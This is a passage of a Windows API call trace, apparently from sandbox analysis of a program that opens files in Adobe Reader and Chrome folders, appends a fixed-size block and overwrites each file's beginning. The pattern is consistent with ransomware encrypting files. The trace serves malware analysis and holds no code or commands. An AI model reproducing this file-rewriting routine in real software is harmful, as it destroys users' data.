lpUsedDefaultChar=0x0) returned 10 [0042.804] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.820] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1522 [0042.820] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.827] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1522 [0042.827] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.827] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0042.827] WriteFile (in: hFile=0x1cc, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.828] CloseHandle (hObject=0x1cc) returned 1 [0042.828] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1031.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1031.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0042.870] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1031.mst", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1031.mst", lpFilePart=0x2f4f690*="1031.mst") returned 0x64 [0042.870] GetLastError () returned 0x5 [0042.870] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0043.016] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.016] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.016] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0043.016] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0043.016] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0043.016] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1031.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1031.mst")) returned 0x21 [0043.017] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1044.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1044.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.022] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1044.mst", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1044.mst", lpFilePart=0x2f4f690*="1044.mst") returned 0x64 [0043.022] GetLastError () returned 0x5 [0043.022] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0043.022] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.022] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.022] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0043.022] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0043.022] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0043.022] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1044.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1044.mst")) returned 0x21 [0043.023] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1060.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1060.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.024] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1060.mst", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1060.mst", lpFilePart=0x2f4f690*="1060.mst") returned 0x64 [0043.024] GetLastError () returned 0x5 [0043.024] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0043.024] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.024] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.024] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0043.025] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0043.025] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0043.025] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1060.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1060.mst")) returned 0x21 [0043.026] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktigt.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0043.026] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0043.026] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x4214 [0043.026] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0043.026] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.026] ReleaseMutex (hMutex=0x128) returned 1 [0043.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Viktigt.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0043.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Viktigt.htm", cchWideChar=11, lpMultiByteStr=0x1e6322c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Viktigt.htm", lpUsedDefaultChar=0x0) returned 11 [0043.026] ReadFile (in: hFile=0x1ac, lpBuffer=0x3a4ec58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x3a4ec58*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.030] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3214 [0043.030] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.031] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3214 [0043.031] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.031] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0043.031] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.031] CloseHandle (hObject=0x1ac) returned 1 [0043.031] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\external_extensions.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0043.038] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0043.039] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x4f2 [0043.039] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0043.039] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.039] ReleaseMutex (hMutex=0x128) returned 1 [0043.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="external_extensions.json", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0043.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="external_extensions.json", cchWideChar=24, lpMultiByteStr=0x1e7fb7c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="external_extensions.json", lpUsedDefaultChar=0x0) returned 24 [0043.039] ReadFile (in: hFile=0x1ac, lpBuffer=0x1e179f8, nNumberOfBytesToRead=0x4f2, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e179f8*, lpNumberOfBytesRead=0x2f4f2bc*=0x4f2, lpOverlapped=0x0) returned 1 [0043.043] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0043.043] WriteFile (in: hFile=0x1ac, lpBuffer=0x2720078*, nNumberOfBytesToWrite=0xa7a, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2720078*, lpNumberOfBytesWritten=0x2f4f2d0*=0xa7a, lpOverlapped=0x0) returned 1 [0043.043] CloseHandle (hObject=0x1ac) returned 1 [0043.043] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\bn.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0043.049] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0043.049] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xa9727 [0043.049] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0043.049] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.050] ReleaseMutex (hMutex=0x128) returned 1 [0043.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bn.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0043.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bn.pak", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bn.pak", lpUsedDefaultChar=0x0) returned 6 [0043.050] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0043.055] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.058] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xa8727 [0043.058] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.064] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xa8727 [0043.065] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.065] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0043.065] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2f4f28c*=0xf000, lpOverlapped=0x0) returned 1 [0043.065] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.065] CloseHandle (hObject=0x1ac) returned 1 [0043.065] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\et.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\et.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0043.068] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0043.068] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x469ee [0043.068] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0043.068] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.068] ReleaseMutex (hMutex=0x128) returned 1 [0043.068] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="et.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0043.068] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="et.pak", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="et.pak", lpUsedDefaultChar=0x0) returned 6 [0043.068] ReadFile (in: hFile=0x1ac, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0043.072] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x459ee [0043.072] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.074] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x459ee [0043.074] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.074] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0043.074] WriteFile (in: hFile=0x1ac, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0043.074] CloseHandle (hObject=0x1ac) returned 1 [0043.074] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\id.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\id.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0043.075] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0043.075] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x47e7d [0043.075] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0043.075] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.075] ReleaseMutex (hMutex=0x128) returned 1 [0043.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="id.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0043.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="id.pak", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="id.pak", lpUsedDefaultChar=0x0) returned 6 [0043.075] ReadFile (in: hFile=0x1ac, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0043.077] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x46e7d [0043.077] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.079] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x46e7d [0043.079] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.080] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0043.080] WriteFile (in: hFile=0x1ac, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0043.080] CloseHandle (hObject=0x1ac) returned 1 [0043.080] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\nb.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\nb.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0043.081] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0043.081] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x487e4 [0043.081] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0043.081] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.081] ReleaseMutex (hMutex=0x128) returned 1 [0043.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nb.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0043.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nb.pak", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nb.pak", lpUsedDefaultChar=0x0) returned 6 